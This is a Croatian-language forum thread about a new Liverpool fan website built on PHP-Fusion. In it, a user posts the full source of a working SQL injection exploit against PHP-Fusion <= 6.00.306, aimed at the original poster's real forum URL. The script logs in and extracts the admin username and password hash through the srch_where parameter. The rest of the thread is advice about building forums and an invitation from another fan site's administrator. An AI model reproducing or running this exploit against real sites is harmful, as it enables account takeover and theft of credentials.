Uskoro ide u javnost stranica za navijace, samo me zanima ako bi netko htio pomoci u radu.
Printable View
Uskoro ide u javnost stranica za navijace, samo me zanima ako bi netko htio pomoci u radu.
bi ja rado, samo reci sta ti treba......
ovo će se morati hackirati
leeds all the way! :D SRETNO!
Neces moci, ali volio bih da pokusas
hahahahaha
samo treba neka osoba koja će se zainatit:
evo, treba unjet host podatke:
u odgovarajuća polja:Code:http://cro-liverpool.freehostia.com/forum/index.php
sejvat datoteku i pokrenit je u apache-uCode:<?
echo "PHP-Fusion <= v6.00.306 \"srch_where\" SQL Injection/Admin credentials disclosure\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PHP-Fusion\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /fusion/ username password\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "step 1 -> login...\r\n";
$data ="user_name=".urlencode(trim($user));
$data.="&user_pass=".urlencode(trim($pass));
$data.="&login=Login";
$packet="POST ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."news.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo 'Your cookie -> '.$cookie."\r\n\r\n";
if ($cookie=='') {die("Unable to login...");}
echo "step 2 -> inject some code in srch_where argument...\r\n";
$sql="999999 UNION SELECT 0,0,0,user_name,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM fusion_users WHERE user_level=103/*";
$sql=urlencode($sql);
$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("messages.php?msg_view=",$html);
$temp2=explode(">",$temp[1]);
$temp=explode("<",$temp2[1]);
$admin=$temp[0];
echo "admin: ".$admin."\r\n";
$sql="999999 UNION SELECT 0,0,0,user_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM fusion_users WHERE user_level=103/*";
$sql=urlencode($sql);
$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("messages.php?msg_view=",$html);
$temp2=explode(">",$temp[1]);
$temp=explode("<",$temp2[1]);
$hash=$temp[0];
echo "hash: ".$hash."\r\n";
?>
i voila :thumbdown :njanja:
ja necu nista radit, samo ti evo pokazujem da si ranjiv... :headbang: :crazy:
Ali to nije hacking, jer ja cim to primjetim ,odmah dignem ponovno stranicu gore.
nope, to je deface-ing preko sql injectiona...= Citat =:
Izvorno postao Pancho Villa
a pazi sad, ti moraš nanovo dizat stranicu i za to ti treba recimo pola sata, ako si sačuvao backup baze podataka ili manje ako znaš radit u phpmyadminu pa da sam ukloniš sick tabele...
a onome tko napravi injection je dovoljno samo da dvaput klikne na tu ikonicu pa ti opet srusi forum...
čuj, postoje mnogo bolja rješenja od phpfusiona, koja su besplatna...
a netko bi na tvoju stranicu mogao zamračit samo zbog bannera...
isto to sam nasao i za joomlu i mambo, ali boli mene za to, ako zelis biti "faca" budi, ali zasto to raditi,
a ja sam redovito na php-fusion stranici, tako da za to postoji skripta koja to blokira, jer inace, ne bi bilo smisla raditi stranice sa php-fusionom
Pa u tome i je poanta...
nema smisla radit sa php fusionom. Nijedna veca firma ti nece koristit fusion ni mambo ni joomlu, al to je jedna te ista stvar... u 90% slučajeva će projekti biti bazirani na vbulletinu, zato jer je on najsigurniji, a najsigurniji je zato što se plaća... ako su portali , u većini slučajeva je to rad od nule...
Mislim, koliko platiš toliko i dobiješ...
Ne sjećam se da je ijedan forum baš uspio a da nije vbulletin... ili da nije neki ručni rad administratora...
Ne govorim sad za tebe, nego za općenito sve: svaka budala može otvorit forum. E sad , neki ispadnu veća budala ako ulože trud i to im se ne isplati...
neki ulože nadu pa se razočaraju... Neki ništa ne ulažu u forum, poput tebe, pa forum nakaradno izgleda...
Da bi napravio nešta što će uspjet treba:
Uložit mnogo truda i iznijet mnogo ideja oko organizacije i planiranja...
Sve što ja radim uvijek prvo napravim na papiru, doslovce, i to ne jednom nego više puta...
Zatim treba uložit mnogo rada da se ostvari ono što se planiralo.
Onda treba u taj projekt dodatno uložit, novčano...
Šta je dati 150 kuna godišnje za 500MB prostora sa svim pogodnostima, a HR domene su ti besplatne za registraciju, ako imaš dobro obrazloženje...
I ono naj bitnije, nikad ne pravit stranicu da se sviđa tebi, nego da se sviđa drugima, jer ti nisi taj koji će pomoć njenom razvoju, nego korisnici koji je pregledavaju, a bez njih je projekt uzaludan...
I sad vidiš, ti si uložio u ovo pola sata, znači na neki liverpool fan forum ...
A znaš da takvo nešto već postoji...
Upitaj se, zašto bi netko posjetio tvoj forum, kad liverpool ima official forum, a i hrvatska ima taki forum:
http://www.lfccro.com/forum/
i ako ovaj forum koji je već neko vrijeme gore i ima bolju domenu, bolji design, više ljudi, poznatiji i optimiziraniji na tražilici nije uspio sakupit neki hvale vrijedan broj članova, zašto bi tvoj...
ako članove sakupljaš tražeći lege iz susjedstva da se učlane, to je onda jadno, jer sve o Liverpoolu možete pričat i u običnim MSN konverzacijama...
samo trošite nekome prostor na serveru...
Pa nisam ja otvorio forum, to mi je samo pocetna strana, ja cu gore stavljati pjesme, video, novosti, clanke, i sve sto mi php-fusion pruza, a ja to radim iz zabave a ne radi novca, tako da mi je svejedno da li uspijem ili ne.
opet uzaludno... videi, slike i ti shitovi ti nece pomoc kod privlacenja ljudi. izgleda da ces forum radit sam za sebe i nekoliko prijatelja ...
krtola ti je sve objasnio a ti opet po svom... i ne radi se o tome da ti dobivas lovu nego o tome da ti trebas ulozit neku lovu ako zelis podic neki forum ...
wow... ima li nesto neshvatljivo u krtolinom (krompirkovom) postu :ideja:
recimo da postoji razlog zasto sam otisao na freehostiu, umjesto da dam 250 kuna za hrhosting, ali zasto da ja tebi to objasnjavam, kada pokusas nesto svoje mi se javi ,
I znam da od ovoga nece biti nista, i da necemo postati cafe mobile, ali mi se zajebavamo, za razliku od nekih koji misle samo na zaradu , Agloco boy
Ako je za prijatelje i užu rodbinu, čemu onda potreba za pomagačima i promocija na javnom forumu?
Gle, ništa osobno, rado ću pohvaliti neki dobro urađen projekt i nije mi cilj omalovažavati nečiji rad.. Ali ovdje samo hoću reći da je Krompirkova kritika iskrena, dobronamjerna i kvalitetna. Ipak te upozorio na neke propuste.. Da imam bar malo njegovog znanja i sam bi ti to napisao (ne, nisam nikad radio web stranice). :peace:
Ma sve je to u redu ako iz svega izvučeš pouku.
Vjeruj mi, ja ovo tebi pišem baš zato što sam kroz evo već 8 godina iz mnoooogo svojih prvih projekata izvukao istu tu pouku..
Nisam ni ja Čak Noris da sam iz prve osnovao nešta veliko i nešta posebno...
Sve moje postiguće se pazi sad, baziralo na čistim promašajima...
ali željom da budem bolji, iz godine u godinu eto razmišljanja su mi se promjenila i svaki noviji projekt je bio sve bolji i bolji...
Ako bar ništa ne očekuješ uči se, i eto, vidim, dobro prihvačaš kritike...
Da sam ja na tvom mjestu i da želim nešta revolucionarno napraviti, evo baš u vezi liverpool fan portala, ja bi kontaktirao osoblje sa http://www.lfccro.com/
I ponudio im pomoć, ideje...
Koliko vidim, web masteri na lfc odlično rade posao, ali nemaju ideje za sadržaj koji će stavit na portal, jer da su imali već bi bio online...
Pa bi ti mogao eto pridonjeti svojim idejama ako te žele kao ravnopravnog člana među organizatorima...
Mnogo je bolje kad se mnogo ljudi složi, iz raznih dijelova HR i naprave jednu kvalitetnu stvar nego da svako od njih pokuša napraviti svoje...
mogu ti stvar pojednostavnit usporedbom recimo cafe.mobil.hr projekta.
Da je svaki od moderatora određenih sekcija napravio poseban forum... tipa:
samsung forum, nokia forum, motorola forum, to nebi bilo to. Sadržaj multimedije bi se krao sa jednog foruma, stavljao na drugi, a projekti pojedinačno nebi bili uspješniji nego kad je sve to dobro organizirano pod jednim projektom...
ista ti je stvar i sa oglasnicima...
recimo imaš internet oglasnike... oglasnik.hr, kupiprodaj.net, automobil.hr...
i odmah se vidi koji je od njih uspješan koji ne.
oglasnik.hr je uspješan samo iz razloga što je on jedan od prvih hrvatskih internet oglasnika...
dok ti je recimo kupiprodaj nedavno osnovan.
Sad našla se ekipa koja je željela napravit i auto oglasnik...
mnogo je veću popularnost stekla grupa kupiprodaj zato jer su oni svoj cms prošiliri i na 4kotaca.net , te su ta dva projekta u sklopu jednoga...
dok recimo automobil.hr koji je osnovan kao zasebni, nije stekao tu popularnost... isto tako i auti.hr
BOLJE JE BITI DIO NEČEGA, NEGO OSNOVATI NIŠTA
Najprije pozdrav svima,
Eto igrom slučaja upišem ja u google lfccro da vidim gdje se spominje, i naiđem na ovu stranicu :)
Ja sam administrator lfccro.com-a i vidim da ovdje ima ljudi sa entuzijazmom koji bi pisali novosti vezane uz Liverpool. A ja takve ljude upravo tražim!
Forum lfccro-a je već imao portal (joomlu), no kako sam uglavnom samo ja pisao, u nedostatku slobodnog vremena sam ga zatvorio. Krenuo sam sa kolegom s faxa u izradu potpuno novog portala, i čim završe ispiti (nakon 14.07.) on kreće u pogon. "Prototip" možete vidjeti ovdje http://www.lfccro.com/snews/ Naravno, još će doživjeti izmjene (background ponajviše), a svi tekstovi su bezveze stavljeni.
Tako da ja pozivam Pancho Villu, a i ostale ljubitelje LFC-a da se pridruže našoj zajednici na lfccro forumu, te tamo dogovorimo pojedinosti oko pisanja novosti na portalu.
Naravno da ja nemam ništa protiv vašeg novootvorenog portala/foruma, no, Krompirko je rekao i više nego precizno kako stvari stoje sa "kopijama". Ionako nas (LFC navijača) malo ima na ovim prostorima - što znači da smo zajedno jači :)
Inače, za razliku od vašeg novog portala, ja imam zakupljenu domenu i hosting, tako da su nam ruke potpuno otvorene za sve ideje i zamisli :)
nema problema, ja tebe i tvoj portal ne omalovazavam , sto se mene tice je ti zelim puno uspijeha, a tko zna mozda se i ja prebacim tamo
A moj savjet vam je da zajedno napravite nesta...
Tvoj savjet postujem,ali kako da to napravimo?
Ja bi radio sa php-fusionom, a sada neznam za njega, lako ja sve moje fajlove stavim na njegov server.
Dogovorite se preko MSNa....
Razmjenite što mislite da je najbolje za ovaj projekt, možda ako vam se baš trudi možete nešta svoje smislit...